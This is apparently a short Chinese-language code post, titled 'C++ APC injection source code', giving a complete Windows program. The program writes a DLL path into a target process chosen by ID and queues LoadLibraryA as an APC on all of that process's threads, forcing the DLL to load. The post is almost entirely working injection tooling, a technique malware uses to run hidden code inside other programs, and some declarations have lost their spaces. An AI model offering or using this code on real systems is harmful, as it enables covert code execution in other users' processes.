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- 2023-11-9
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C++ APC注入源码
- #include "stdafx.h"
- #define _WIN32_WINNT 0x0400
- #include <windows.h>
- #include <TlHelp32.h>
- #include <iostream>
- #include <string>
- using namespace std;
- #define DEF_BUF_SIZE 1024
- // 用于存储注入模块DLL的路径全名
- char szDllPath[DEF_BUF_SIZE] = {0};
- // 使用APC机制向指定ID的进程注入模块
- BOOL InjectModuleToProcessById ( DWORD dwProcessId ) {
- DWORDdwRet = 0 ;
- BOOLbStatus = FALSE ;
- LPVOIDlpData = NULL ;
- UINTuLen = strlen(szDllPath) + 1;
- // 打开目标进程
- HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS, FALSE, dwProcessId ) ;
- if ( hProcess ) {
- // 分配空间
- lpData = VirtualAllocEx ( hProcess, NULL, uLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ;
- if ( lpData ) {
- // 写入需要注入的模块路径全名
- bStatus = WriteProcessMemory ( hProcess, lpData, szDllPath, uLen, &dwRet ) ;
- }
- CloseHandle ( hProcess ) ;
- }
- if ( bStatus == FALSE )
- return FALSE ;
- // 创建线程快照
- THREADENTRY32 te32 = {
- sizeof(THREADENTRY32)
- }
- ;
- HANDLE hThreadSnap = CreateToolhelp32Snapshot ( TH32CS_SNAPTHREAD, 0 ) ;
- if ( hThreadSnap == INVALID_HANDLE_VALUE )
- return FALSE ;
- bStatus = FALSE ;
- // 枚举所有线程
- if ( Thread32First ( hThreadSnap, &te32 ) ) {
- do {
- // 判断是否目标进程中的线程
- if ( te32.th32OwnerProcessID == dwProcessId ) {
- // 打开线程
- HANDLE hThread = OpenThread ( THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID ) ;
- if ( hThread ) {
- // 向指定线程添加APC
- DWORD dwRet = QueueUserAPC ( (PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData ) ;
- if ( dwRet > 0 )
- bStatus = TRUE ;
- CloseHandle ( hThread ) ;
- }
- }
- }
- while ( Thread32Next ( hThreadSnap, &te32 ) ) ;
- }
- CloseHandle ( hThreadSnap ) ;
- return bStatus;
- }
- int _tmain(int argc, _TCHAR* argv[]) {
- // 取得当前工作目录路径
- GetCurrentDirectoryA ( DEF_BUF_SIZE, szDllPath ) ;
- // 生成注入模块DLL的路径全名
- strcat_s ( szDllPath, "\\fddll" ) ;
- DWORD dwProcessId = 0 ;
- // 接收用户输入的目标进程ID
- while ( cout << "请输入目标进程ID:" && cin >> dwProcessId && dwProcessId > 0 ) {
- BOOL bRet = InjectModuleToProcessById ( dwProcessId ) ;
- cout << (bRet ? "注入成功!":"注入失败!") << endl ;
- }
- return 0;
- }
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